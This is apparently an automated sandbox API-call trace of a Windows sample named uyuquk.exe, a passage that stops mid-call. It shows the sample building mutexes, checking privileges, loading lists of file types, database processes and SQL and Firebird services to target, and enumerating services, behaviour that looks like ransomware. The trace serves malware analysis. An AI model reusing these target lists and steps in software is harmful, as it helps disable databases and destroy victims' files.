# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Jul 31 2019 13:47:23 # Log Creation Date: 03.08.2019 14:39:08.702 Process: id = "1" image_name = "uyuquk.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uyuquk.exe" page_root = "0x4ea24000" os_pid = "0x970" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uyuquk.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x974 [0027.363] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0027.368] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0027.368] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0027.368] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0027.368] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0027.368] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0027.368] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0027.368] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0027.368] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0027.368] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0027.369] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0027.370] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0027.371] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0027.371] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0028.793] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0028.794] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0028.794] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a [0028.794] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466 [0028.794] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0030.115] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3 [0030.115] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0032.080] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0032.081] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0032.081] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0 [0032.081] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000 [0032.196] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0032.196] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0032.196] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0032.196] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2 [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8 [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01 [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918 [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673 [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57 [0032.404] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57 [0032.405] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b [0032.405] GetProcessHeap () returned 0x510000 [0032.405] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5240c8 [0032.405] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=15270309600) returned 1 [0032.405] GetTickCount () returned 0x1142de4 [0032.405] GetCurrentProcessId () returned 0x970 [0032.406] GetTickCount () returned 0x1142de4 [0032.406] GetTickCount () returned 0x1142de4 [0032.406] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5240f0 [0032.406] GetVersion () returned 0x1db10106 [0032.406] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7) returned 0x5136b0 [0032.406] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x520bd0 [0032.406] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x520bd0, Size=0x20) returned 0x524140 [0032.406] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524140, Size=0x40) returned 0x5246b0 [0032.406] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x524900 [0032.406] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_C3A2BJA") returned 0x0 [0032.407] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_C3A2BJA") returned 0x84 [0032.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5136b0 | out: hHeap=0x510000) returned 1 [0032.407] lstrlenW (lpString="Global\\syncronize_") returned 18 [0032.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5246b0 | out: hHeap=0x510000) returned 1 [0032.407] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7) returned 0x5136b0 [0032.407] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x520bd0 [0032.407] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x520bd0, Size=0x20) returned 0x524140 [0032.407] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524140, Size=0x40) returned 0x5246b0 [0032.407] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x534908 [0032.407] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_C3A2BJU") returned 0x0 [0032.407] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_C3A2BJU") returned 0x88 [0032.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5136b0 | out: hHeap=0x510000) returned 1 [0032.407] lstrlenW (lpString="Global\\syncronize_") returned 18 [0032.407] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5246b0 | out: hHeap=0x510000) returned 1 [0032.407] GetVersion () returned 0x1db10106 [0032.407] GetCurrentProcess () returned 0xffffffff [0032.407] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0032.408] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0032.408] CloseHandle (hObject=0x8c) returned 1 [0032.408] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0032.408] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5136b0 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x520bd0 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x520bd0, Size=0x20) returned 0x524140 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524140, Size=0x40) returned 0x5246b0 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246b0, Size=0x80) returned 0x5246b0 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246b0, Size=0x100) returned 0x5246b0 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x34) returned 0x5247b8 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5207c0 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5207d0 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5207e0 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x520bd0 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5247f8 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520be8 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5247f8, Size=0x8) returned 0x5247f8 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x520c00 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5247f8, Size=0x10) returned 0x5247f8 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520c18 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520c30 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5247f8, Size=0x20) returned 0x5247f8 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x520c48 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520c60 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207c0, Size=0x8) returned 0x5207c0 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207d0, Size=0x8) returned 0x5207d0 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524820 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x520c78 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524830 [0032.408] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520c90 [0032.408] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524830, Size=0x8) returned 0x524830 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544928 [0032.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524830, Size=0x10) returned 0x524830 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544940 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524848 [0032.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524830, Size=0x20) returned 0x524858 [0032.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207c0, Size=0x10) returned 0x524830 [0032.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207d0, Size=0x10) returned 0x524880 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5207c0 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544958 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5207d0 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544970 [0032.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207d0, Size=0x8) returned 0x5207d0 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524898 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544988 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5248a8 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5449a0 [0032.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5248a8, Size=0x8) returned 0x5248a8 [0032.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524830, Size=0x20) returned 0x544d10 [0032.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524880, Size=0x20) returned 0x544d38 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524880 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5449b8 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524830 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5449d0 [0032.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524830, Size=0x8) returned 0x524830 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x544d60 [0032.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x544d80 [0032.409] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0032.409] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5246b0 | out: hHeap=0x510000) returned 1 [0032.409] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0032.419] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449e8 [0032.419] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449e8, Size=0x20) returned 0x524348 [0032.419] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524348, Size=0x40) returned 0x524708 [0032.419] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524708, Size=0x80) returned 0x524708 [0032.419] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524708, Size=0x100) returned 0x545058 [0032.419] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449e8 [0032.419] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449e8, Size=0x20) returned 0x524348 [0032.419] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524348, Size=0x40) returned 0x524708 [0032.419] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524708, Size=0x80) returned 0x524708 [0032.419] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524708, Size=0x100) returned 0x545160 [0032.419] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5449e8 [0032.419] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524708 [0032.419] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.419] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524708, Size=0x8) returned 0x524708 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x524718 [0032.420] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524708, Size=0x10) returned 0x524738 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x524750 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x524348 [0032.420] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524738, Size=0x20) returned 0x524770 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x524370 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x16) returned 0x524798 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x524398 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544a18 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524708 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x545268 [0032.420] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524708, Size=0x8) returned 0x524708 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3c) returned 0x5452b0 [0032.420] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524708, Size=0x10) returned 0x524738 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5452f8 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x545318 [0032.420] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524738, Size=0x20) returned 0x545338 [0032.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x545360 [0032.420] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0032.420] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545058 | out: hHeap=0x510000) returned 1 [0032.420] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0032.420] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545160 | out: hHeap=0x510000) returned 1 [0032.420] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5458e0 [0032.425] EnumServicesStatusExW (in: hSCManager=0x5458e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0032.426] GetLastError () returned 0xea [0032.426] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x11e4) returned 0x5491e0 [0032.426] EnumServicesStatusExW (in: hSCManager=0x5458e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5491e0, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5491e0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0032.427] CloseServiceHandle (hSCObject=0x5458e0) returned 1 [0032.430] lstrlenW (lpString="Appinfo") returned 7 [0032.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0032.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0032.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0032.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0032.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0032.430] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0032.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0032.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0032.430] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0032.430] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0032.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0032.430] lstrlenW (lpString="AudioSrv") returned 8 [0032.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0032.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0032.430] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0032.430] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0032.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0032.430] lstrlenW (lpString="BFE") returned 3 [0032.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0032.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0032.430] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0032.430] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0032.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0032.430] lstrlenW (lpString="CryptSvc") returned 8 [0032.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0032.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0032.431] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0032.431] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0032.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0032.431] lstrlenW (lpString="CscService") returned 10 [0032.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0032.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0032.431] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0032.431] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0032.431] lstrcmpiW (lpString1="sqlserveradhelper", 